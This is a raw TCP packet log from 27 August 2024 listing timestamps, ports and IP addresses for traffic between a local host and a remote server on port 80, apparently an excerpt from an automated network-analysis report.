Aug 27, 2024 09:49:39.849914074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.849926949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.849957943 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.850214958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.850225925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.850235939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.850249052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.850260019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.850266933 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.850270987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.850282907 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.850289106 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.850295067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.850315094 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.850326061 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.850351095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.850361109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.850373030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.850388050 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.850411892 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.850552082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.850564003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.850574017 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.850585938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.850617886 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.850642920 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.850708961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.850720882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.850730896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.850743055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.850760937 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.850771904 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.850871086 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.850882053 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.850917101 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.851073027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851084948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851094961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851106882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851118088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851118088 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.851130009 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851141930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851152897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851161957 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.851162910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851176023 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.851178885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851191044 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851201057 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851203918 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.851212978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851221085 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.851223946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851236105 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851253033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851258993 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.851258993 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.851264000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851289988 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.851522923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851532936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851572990 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.851665020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851676941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851732016 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.851744890 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851757050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851768017 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851780891 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.851782084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851794004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851807117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851808071 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.851833105 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.851888895 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851901054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851912022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.851926088 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.851937056 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.852077961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.852091074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.852099895 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.852111101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.852123022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.852128029 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.852135897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.852145910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.852158070 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.852169991 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.852169991 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.852195024 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.852219105 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.852232933 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.852243900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.852255106 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.852266073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.852277040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.852277040 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.852288961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.852299929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.852299929 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.852309942 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.852320910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.852324963 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.852351904 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.852376938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.852380037 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.852386951 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.852427959 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.852590084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.852602005 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.852612972 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.852628946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.852638960 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.852665901 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.852767944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.898644924 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.940130949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.940145969 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.940216064 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.940274000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.940289021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.940299034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.940310001 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.940324068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.940335989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.940346003 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.940381050 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.940392971 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.940408945 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.940419912 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.940432072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.940443039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.940459967 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.940459967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.940473080 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.940489054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.940493107 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.940516949 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.941011906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941020966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941055059 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.941193104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941204071 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941215038 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941225052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941236019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941236019 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.941248894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941260099 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941262007 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.941298962 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.941309929 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.941337109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941349030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941365004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941378117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941392899 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.941418886 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.941534042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941545963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941555977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941569090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941580057 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941589117 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.941598892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941611052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941613913 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.941622972 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941633940 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.941634893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941660881 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.941720963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941732883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941764116 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.941900969 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941912889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941922903 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941937923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941943884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941951990 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.941955090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941968918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.941977024 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.942002058 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.942692995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.942704916 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.942737103 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.942867994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.942878962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.942890882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.942903042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.942912102 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.942914963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.942926884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.942939043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.942950964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.942954063 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.942960978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.942975044 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.942991972 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.943018913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.943031073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.943042040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.943052053 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.943054914 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.943065882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.943077087 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.943097115 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.943097115 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.943341970 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.943352938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.943365097 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.943377018 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.943382978 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.943388939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.943399906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.943408012 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.943412066 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.943428040 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.943454981 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.943480968 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.943496943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.943510056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.943541050 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.943676949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.943689108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.943700075 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.943711042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.943712950 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.943736076 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.992345095 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.133941889 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.138967037 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.236068010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.236726046 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.241530895 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.338432074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.338450909 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.338483095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.338519096 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.338530064 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.338548899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.338562012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.338573933 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.338612080 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.338687897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.338699102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.338710070 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.338725090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.338731050 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.338737965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.338754892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.338767052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.338782072 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.338804007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.338809013 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.338815928 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.338824987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.338843107 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.338866949 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.338897943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.338911057 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.338924885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.338957071 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.338962078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.338972092 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.338983059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.338998079 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.339026928 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.339075089 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339086056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339096069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339107990 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339123011 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.339123964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339135885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339140892 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.339147091 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339188099 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.339241028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339251995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339262009 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339282036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339283943 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.339293957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339304924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339309931 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.339318037 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339329004 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.339329958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339340925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339350939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339354038 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.339364052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339378119 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.339427948 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.339560032 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339572906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339584112 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339595079 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339606047 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339613914 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.339617014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339628935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339641094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339654922 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.339659929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339673042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339680910 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.339684010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339701891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339713097 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339725018 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.339759111 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.339777946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339792013 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339801073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339812994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339819908 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.339823008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339834929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339849949 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.339853048 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339864969 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.339881897 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.339895964 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.340007067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340018988 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340035915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340046883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.340050936 CEST	49715	80	192.168.2.8	188.114.96.3
